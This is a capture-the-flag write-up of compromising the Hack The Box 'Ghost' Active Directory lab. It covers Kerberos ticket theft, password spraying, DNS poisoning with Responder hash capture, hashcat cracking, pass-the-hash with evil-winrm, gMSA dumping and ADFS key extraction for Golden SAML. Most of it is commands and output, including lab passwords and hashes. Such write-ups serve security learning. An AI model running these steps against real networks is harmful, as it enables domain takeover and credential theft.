crudini --set $SAMBA_CONF global "client ntlmv2 auth" "$CLIENT_NTLMV2_AUTH"
crudini --set $SAMBA_CONF global "encrypt passwords" "$ENCRYPT_PASSWORDS"
crudini --set $SAMBA_CONF global "server signing" "$SERVER_SIGNING"
crudini --set $SAMBA_CONF global "smb encrypt" "$SMB_ENCRYPT"
crudini --set $SAMBA_CONF global "restrict anonymous" "$RESTRICT_ANONYMOUS"
crudini --set $SAMBA_CONF global "domain master" "$DOMAIN_MASTER"
crudini --set $SAMBA_CONF global "local master" "$LOCAL_MASTER"
crudini --set $SAMBA_CONF global "preferred master" "$PREFERRED_MASTER"
crudini --set $SAMBA_CONF global "os level" "$OS_LEVEL"
# crudini --set $SAMBA_CONF global "wins support" "$WINS_SUPPORT"
# crudini --set $SAMBA_CONF global "wins server" "$WINS_SERVER"
crudini --set $SAMBA_CONF global "dns proxy" "$DNS_PROXY"
crudini --set $SAMBA_CONF global "log level" "$LOG_LEVEL"
crudini --set $SAMBA_CONF global "debug timestamp" "$DEBUG_TIMESTAMP"
crudini --set $SAMBA_CONF global "log file" "$LOG_FILE"
crudini --set $SAMBA_CONF global "max log size" "$MAX_LOG_SIZE"
# crudini --set $SAMBA_CONF global "syslog only" "$SYSLOG_ONLY"
# crudini --set $SAMBA_CONF global "syslog" "$SYSLOG"
# crudini --set $SAMBA_CONF global "panic action" "$PANIC_ACTION"
# crudini --set $SAMBA_CONF global "hosts allow" "$HOSTS_ALLOW"

# Inherit groups in groups
crudini --set $SAMBA_CONF global "winbind nested groups" "no"
crudini --set $SAMBA_CONF global "winbind refresh tickets" "yes"
crudini --set $SAMBA_CONF global "winbind offline logon" "true"

# home shared directory (restricted to owner)
crudini --set $SAMBA_CONF home "comment" "Home Directories"
crudini --set $SAMBA_CONF home "path" "/home/"
crudini --set $SAMBA_CONF home "public" "yes"
crudini --set $SAMBA_CONF home "guest ok" "no"
crudini --set $SAMBA_CONF home "read only" "no"
crudini --set $SAMBA_CONF home "writeable" "yes"
crudini --set $SAMBA_CONF home "create mask" "0777"
crudini --set $SAMBA_CONF home "directory mask" "0777"
crudini --set $SAMBA_CONF home "browseable" "yes"
crudini --set $SAMBA_CONF home "printable" "no"
crudini --set $SAMBA_CONF home "oplocks" "yes"
#crudini --set $SAMBA_CONF home "valid users" "%S"

# public shared directory (unrestricted)
mkdir -p "/usr/share/public" && chmod 777 "/usr/share/public/"

crudini --set $SAMBA_CONF public "comment" "Public Directories"
crudini --set $SAMBA_CONF public "path" "/usr/share/public/"
crudini --set $SAMBA_CONF public "public" "yes"
crudini --set $SAMBA_CONF public "guest ok" "no"
crudini --set $SAMBA_CONF public "read only" "no"
crudini --set $SAMBA_CONF public "writeable" "yes"
crudini --set $SAMBA_CONF public "create mask" "0774"
crudini --set $SAMBA_CONF public "directory mask" "0777"
crudini --set $SAMBA_CONF public "browseable" "yes"
crudini --set $SAMBA_CONF public "printable" "no"
crudini --set $SAMBA_CONF public "oplocks" "yes"

# private shared directory (restricted)
mkdir -p "/usr/share/private" && chmod 777 "/usr/share/private"

crudini --set $SAMBA_CONF private "comment" "Private Directories"
crudini --set $SAMBA_CONF private "path" "/usr/share/private/"
crudini --set $SAMBA_CONF private "public" "yes"
crudini --set $SAMBA_CONF private "guest ok" "no"
crudini --set $SAMBA_CONF private "read only" "no"
crudini --set $SAMBA_CONF private "writeable" "yes"
crudini --set $SAMBA_CONF private "create mask" "0774"
crudini --set $SAMBA_CONF private "directory mask" "0777"
crudini --set $SAMBA_CONF private "browseable" "yes"
crudini --set $SAMBA_CONF private "printable" "no"
crudini --set $SAMBA_CONF private "oplocks" "yes"

echo --------------------------------------------------
echo "Updating NSSwitch configuration: \"/etc/nsswitch.conf\""
echo --------------------------------------------------
if [[ ! `grep "winbind" /etc/nsswitch.conf` ]]; then
        sed -i "s#^\(passwd\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
        sed -i "s#^\(group\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
        sed -i "s#^\(shadow\:\s*compat\)\$#\1 winbind#" /etc/nsswitch.conf
fi

pam-auth-update

/etc/init.d/nmbd restart
/etc/init.d/smbd restart
/etc/init.d/winbind restart

echo --------------------------------------------------
echo 'Generating Kerberos ticket'
echo --------------------------------------------------
echo $AD_PASSWORD | kinit -V $AD_USERNAME@$REALM

echo --------------------------------------------------
echo 'Registering to Active Directory'
echo --------------------------------------------------
net ads join -U"$AD_USERNAME"%"$AD_PASSWORD"
#wbinfo --online-status

echo --------------------------------------------------
echo 'Stopping Samba to enable handling by supervisord'
echo --------------------------------------------------
/etc/init.d/nmbd stop
/etc/init.d/smbd stop
/etc/init.d/winbind stop

echo --------------------------------------------------
echo 'Enabling SSH'
echo --------------------------------------------------
sed -i 's/^#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
service ssh restart

kdestroy
ln -s /dev/null /root/.bash_history
mkdir -p /home/GHOST/florence.ramirez
ln -s /dev/null /home/GHOST/florence.ramirez/.bash_history

touch /tmp/init_success

echo --------------------------------------------------
echo 'Restarting Samba using supervisord'
echo --------------------------------------------------
exec "$@"

[!ATTENTION]

  • running and env command we find the location of the kerberos ticket
KRB5CCNAME=FILE:/tmp/krb5cc_50
  • I am grabbig this for my local attack box just in case for later.
  • This ended up been the KEY! to user.txt doing it the intended way
  • this config from /etc/krb5.conf on the linux box I will copy for my attacker box.
[logging]
    default = FILE:/var/log/krb5.log
    kdc = FILE:/var/log/kdc.log
    admin_server = FILE:/var/log/kadmind.log

[libdefaults]
    default_realm = GHOST.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    GHOST.HTB = {
        kdc = dc01.ghost.htb
        admin_server = dc01.ghost.htb
        default_domain = GHOST.HTB
    }
    ghost.htb = {
        kdc = dc01.ghost.htb
        admin_server = dc01.ghost.htb
        default_domain = ghost.htb
    }
    GHOST = {
        kdc = dc01.ghost.htb
        admin_server = dc01.ghost.htb
        default_domain = GHOST.HTB
    }

[domain_realm]
    .ghost.htb = GHOST.HTB
    ghost.htb = GHOST.HTB
  • lets also copy the krb ticket using base64 to not corrupt the data
florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 | base64 
cat krb5cc_50 | base64 
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
  • now locally:
 cat krb_ticket_base64 | base64 -d > krb5cc_50

[!ATTENTION]

  • YAY! this seems to work! this will allow us to do more recon with that user
rek2  …/Sync/hackthebox/ghost-10.xx.xx.xx  ♥ 00:39  export KRB5CCNAME=/tmp/krb5cc_50

rek2  …/Sync/hackthebox/ghost-10.xx.xx.xx  ♥ 00:39  cp krb5cc_50 /tmp/

rek2  …/Sync/hackthebox/ghost-10.xx.xx.xx  ♥ 00:39  nxc smb ghost.htb -k --use-kcache  --rid-brute --users --kdcHost DC01.ghost.htb
SMB         ghost.htb       445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         ghost.htb       445    DC01             [+] ghost.htb\florence.ramirez from ccache 
SMB         ghost.htb       445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                    
SMB         ghost.htb       445    DC01             Administrator                 2024-07-02 19:11:35 0       Built-in account for administering the computer/domain
SMB         ghost.htb       445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         ghost.htb       445    DC01             krbtgt                        2024-01-30 17:27:23 0       Key Distribution Center Service Account 
SMB         ghost.htb       445    DC01             kathryn.holland               2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             cassandra.shelton             2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             robert.steeves                2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             florence.ramirez              2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             justin.bradley                2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             arthur.boyd                   2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             beth.clark                    2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             charles.gray                  2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             jason.taylor                  2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             intranet_principal            2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             gitea_temp_principal          2024-02-01 22:48:11 0        
SMB         ghost.htb       445    DC01             [-] Error creating DCERPC connection: SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
  • going to start recon this will take some time, first is to get all the creds I found before and test them against all this users, I know we have the intranet_principal etc... let's see
kerbrute passwordspray -d ghost.htb users 'He!KA9oKVT3rL99j' --dc dc01.ghost.htb

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 09/30/24 - Ronnie Flathers @ropnop

2024/09/30 01:10:22 >  Using KDC(s):
2024/09/30 01:10:22 >  	dc01.ghost.htb:88

2024/09/30 01:10:23 >  [+] VALID LOGIN:	intranet_principal@ghost.htb:He!KA9oKVT3rL99j
2024/09/30 01:10:23 >  Done! Tested 14 logins (1 successes) in 0.190 seconds
  • ok so fucking around enumerating and trying to cross information decided to focus a bit on the intranet_principal
 nxc smb ghost.htb -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --groups --rid-brute --users --shares

this shows a lot of nice info!! says I have access to Users folder

smbclient -U 'intranet_principal' \\\\ghost.htb/Users
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\intranet_principal]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sun Feb  4 22:48:26 2024
  ..                                DHS        0  Wed Jul 31 18:38:56 2024
  Administrator                       D        0  Tue Jan 30 18:19:47 2024
  Default                           DHR        0  Wed Jan 31 10:24:31 2024
  desktop.ini                       AHS      174  Sat May  8 10:18:31 2021

		15698175 blocks of size 4096. 882516 blocks available
smb: \>
  • and of course access denied I am surprised I could see the Documents folder lol ![TIP]
  • Just as I mean navigating wanted to point out a tip to enumerate users from a Linux box that is join to a AD domain and to su into then
florence.ramirez@LINUX-DEV-WS01:~$ id intranet_principal@ghost.htb
uid=52(intranet_principal) gid=50(staff) groups=50(staff),60(games)
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
florence.ramirez@LINUX-DEV-WS01:~$ su - intranet_principal@ghost.htb 
Password: He!KA9oKVT3rL99j


HXproc_run_async: pmvarrun: No such file or directory
Creating directory '/home/GHOST/intranet_principal'.
intranet_principal@LINUX-DEV-WS01:~$ intranet_principal@LINUX-DEV-WS01:~$ whoami
intranet_principal
  • When I did this it created another ticket I have also download for inspection and it can do more stuff
klist -f -c /tmp/krb5cc_52 
Ticket cache: FILE:/tmp/krb5cc_52
Default principal: intranet_principal@GHOST.HTB

Valid starting       Expires              Service principal
09/30/2024 04:23:40  09/30/2024 14:23:40  krbtgt/GHOST.HTB@GHOST.HTB
	renew until 10/07/2024 04:23:40, Flags: FRIA
09/30/2024 04:23:40  09/30/2024 14:23:40  LINUX-DEV-WS01$@GHOST.HTB
	renew until 10/07/2024 04:23:40, Flags: FRA
  • ok here I am deleting around 600 lines give or take of testing and rabbit holes, I already remove some in between above but here is more noticiable.
- Lets get some bloodhound as well I should had done this before 

…/Sync/hackthebox/ghost-10.xx.xx.xx  ♥ 18:46  bloodhound-python -ns 10.xx.xx.xx -dc dc01.ghost.htb -d ghost.htb -u intranet_principal -p 'He!KA9oKVT3rL99j' -gc dc01.ghost.htb -c all INFO: Found AD domain: ghost.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 1 domains INFO: Found 2 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.ghost.htb INFO: Found 16 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 20 containers INFO: Found 1 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: linux-dev-ws01.ghost.htb INFO: Querying computer: DC01.ghost.htb WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The resolution lifetime expired after 3.105 seconds: Server Do53:10.xx.xx.xx@53 answered The DNS operation timed out. INFO: Done in 00M 07S

- got a beacon in the remote lan and doing some recon to see if I can explore more, bloodhound says I should be able to get what I need from that DEV linux workstation 
- this is the Ticket we got for `florence.ramirez@ghost.htb`
  • we have the Ticket from the remote linux development box we got we put it on /tmp locally and run klist to make sure it shows
ssh -tt florence.ramirez@ghost.htb@dev-workstation
  • you find ticket on /tmp/krb5cc_50
  • download it and configure your local tools I like to put it on /tmp/ as well then export the KRB5CCNAME=/tmp/krb5cc_50
 klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
08/10/24 23:23:01  09/10/24 09:23:01  krbtgt/GHOST.HTB@GHOST.HTB
	renew until 09/10/24 23:23:01
python dnstool.py  -dns-ip 10.129.172.100 -u 'ghost.htb\florence.ramirez' -k    -r   'bitbucket.ghost.htb' -a add -t A -d 10.10.xx.xx DC01.GHOST.HTB
  • Open responder
[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.129.172.100
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:bd29b0de677e5e82:959012A35FFDC5C887A6EC97DC718195:0101000000000000A640841ACE19DB01AED3A5C0293061CF0000000002000800480046003400410001001E00570049004E002D00300052005A00420039004500440033003000420051000400140048004600340041002E004C004F00430041004C0003003400570049004E002D00300052005A00420039004500440033003000420051002E0048004600340041002E004C004F00430041004C000500140048004600340041002E004C004F00430041004C000800300030000000000000000000000000400000421C6246A4D51A6183204F68A8DB311F73430023743DF7AB407D6B72FB2D30F50A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

[!ATTENTION]

  • YAY we got Justin Bradley that is what Bloodhound was telling me to get!
  • the kracken!!!
 hashcat -m 5600 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d 2
JUSTIN.BRADLEY::ghost:bd29b0de677e5e82:959012a35ffdc5c887a6ec97dc718195:0101000000000000a640841ace19db01aed3a5c0293061cf0000000002000800480046003400410001001e00570049004e002d00300052005a00420039004500440033003000420051000400140048004600340041002e004c004f00430041004c0003003400570049004e002d00300052005a00420039004500440033003000420051002e0048004600340041002e004c004f00430041004c000500140048004600340041002e004c004f00430041004c000800300030000000000000000000000000400000421c6246a4d51a6183204f68a8db311f73430023743df7ab407d6b72fb2d30f50a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$
  • ok!! YAYA!!! after 2 week fucking around with this we got a good password for a priviledge path.
Qwertyuiop1234$$
  • yay and evil-winrm works! and we get user.txt!!!!!!!!!!!!!!!!!!!!
 evil-winrm -i 10.129.172.100 -u JUSTIN.BRADLEY@ghost.htb -p 'Qwertyuiop1234$$' ghost.htb 
                                        
Evil-WinRM shell v3.6
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> whoami
ghost\justin.bradley
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> dir


    Directory: C:\Users\justin.bradley\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          2/4/2024   1:51 PM                WindowsPowerShell


*Evil-WinRM* PS C:\Users\justin.bradley\Documents> cd ../Desktop/
*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> ls


    Directory: C:\Users\justin.bradley\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         10/8/2024  10:11 AM             34 user.txt


*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> cat user.txt
0a63e701b0bfa62f3ae52efa2d0d33d1

ROOT

Now for r00t or System since is a Winshit box

 paru -Ss gmsadumper
blackarch/gmsadumper 18.e03187c-2 [4.93 KiB 6.73 KiB] (blackarch blackarch-misc)
    A tool that Reads any gMSA password blobs the user can access and parses the values.
  • we get this tool, took me a bit to get it to work.
  • according to bloodhound we need now to focus on adfs_gmsa.
gmsadumper -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$' -d 'ghost.htb'
Users or groups who can read password for adfs_gmsa$:
 > DC01$
 > justin.bradley
adfs_gmsa$:::4233c732e277554e44dbd82a890da314
adfs_gmsa$:aes256-cts-hmac-sha1-96:9113f810febea8804636a36dee3421edd523c89568f69006d0d622eb909dab5b
adfs_gmsa$:aes128-cts-hmac-sha1-96:0837c07388e02cd3da5b4fcaf6c84961

[!ATTENTION]

  • We got hash to login with evil-winrm as adfs_gmsa
  • according to bloodhound we need now to focus on adfs_gmsa.
  • So we can do a Golden SAML Attack with adfs_gmsa see golden_saml_attack
  • sucks we need to upload tools to the Winshit box get ADFSDump

[!ATTENTION]

  • Now we actually now have to access with the target using the hash we got on the gmsadumper.
evil-winrm -i 10.129.172.100 -u 'adfs_gmsa$' -H 4233c732e277554e44dbd82a890da314 ghost.htb
  • and yes! now we have the right permissions!
  • We need to upload the tools to start the Golden SAML attach
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Desktop> ./ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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